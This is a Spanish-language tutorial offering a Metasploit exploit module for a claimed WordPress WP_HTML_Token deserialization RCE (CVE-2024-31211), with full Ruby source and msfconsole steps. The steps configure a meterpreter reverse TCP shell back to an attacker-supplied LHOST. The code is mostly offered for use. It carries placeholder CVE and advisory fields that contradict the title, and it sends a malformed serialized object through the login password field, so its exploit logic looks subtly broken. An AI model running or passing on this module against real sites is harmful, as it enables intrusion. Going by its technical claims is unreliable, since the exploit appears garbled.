
Módulo de Metasploit que explota la deserialización WP_HTML_Token de WordPress para RCE (CVE-2024-31211) con un payload manipulado para ejecución arbitraria de código.
Para crear un módulo de Metasploit que explote la vulnerabilidad RCE en WordPress mediante la deserialización de instancias de la clase WP_HTML_Token, nos centraremos en elaborar un payload que desencadene el fallo de deserialización, lo que conduce a la ejecución de código arbitrario.
Guarda el siguiente código como wordpress_wp_html_token_rce.rb en el directorio modules/exploits/multi/http de tu instalación de Metasploit Framework.
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'WordPress WP_HTML_Token Unserialization RCE',
'Description' => %q{
This module exploits a remote code execution vulnerability in WordPress via
the unserialization of instances of the `WP_HTML_Token` class. This allows for
code execution via its `__destruct()` magic method.
},
'Author' =>
[
'Your Name' # OneArch
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2024-XXXX'], # Replace with the correct CVE number
['URL', 'https://example.com/advisory'] # Replace with an advisory link if available
],
'DisclosureDate' => 'Aug 03 2024',
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [
['WordPress <= 5.x', { }]
],
'DefaultTarget' => 0,
'Privileged' => false,
'Payload' =>
{
'BadChars' => "\x00",
}
))
register_options(
[
OptString.new('TARGETURI', [true, "The base path to the WordPress installation", '/']),
])
end
def check
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'wp-login.php'),
})
if res && res.code == 200 && res.body.include?('wp-login.php')
return Exploit::CheckCode::Appears
end
Exploit::CheckCode::Safe
end
def exploit
print_status("Sending payload to trigger unserialization vulnerability")
serialized_payload = 'O:13:"WP_HTML_Token":1:{s:13:"__destruct";s:' + payload.encoded.length.to_s + ':"' + payload.encoded + '";}'
post_data = {
'user_login' => Rex::Text.rand_text_alphanumeric(8..12),
'user_pass' => serialized_payload,
'wp-submit' => 'Log In',
'redirect_to' => normalize_uri(target_uri.path, 'wp-admin/'),
'testcookie' => 1
}
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'wp-login.php'),
'vars_post' => post_data
})
handler
end
end
Guardar el módulo:
Guarda el módulo como wordpress_wp_html_token_rce.rb en el directorio modules/exploits/multi/http de tu instalación de Metasploit Framework.
/path/to/metasploit-framework/modules/exploits/multi/http/wordpress_wp_html_token_rce.rb
Cargar Metasploit: Inicia Metasploit Framework abriendo una terminal y ejecutando:
msfconsole
Usar el nuevo módulo: En la consola de Metasploit, carga el nuevo módulo de exploit usando el siguiente comando:
use exploit/multi/http/wordpress_wp_html_token_rce
Configurar y ejecutar:
Establece las opciones necesarias, como RHOSTS, RPORT, TARGETURI y PAYLOAD. Luego ejecuta el módulo.
msf6 > use exploit/multi/http/wordpress_wp_html_token_rce
msf6 exploit(multi/http/wordpress_wp_html_token_rce) > set RHOSTS target_ip
RHOSTS => target_ip
msf6 exploit(multi/http/wordpress_wp_html_token_rce) > set TARGETURI /
TARGETURI => /
msf6 exploit(multi/http/wordpress_wp_html_token_rce) > set PAYLOAD php/meterpreter/reverse_tcp
PAYLOAD => php/meterpreter/reverse_tcp
msf6 exploit(multi/http/wordpress_wp_html_token_rce) > set LHOST your_ip
LHOST => your_ip
msf6 exploit(multi/http/wordpress_wp_html_token_rce) > set LPORT 4444
LPORT => 4444
msf6 exploit(multi/http/wordpress_wp_html_token_rce) > run
Este módulo de Metasploit envía un payload serializado manipulado a una instancia vulnerable de WordPress, intentando desencadenar la vulnerabilidad de deserialización y lograr la ejecución de código arbitrario. Ajusta el payload y el módulo según sea necesario en función de la naturaleza específica de la vulnerabilidad y el entorno objetivo.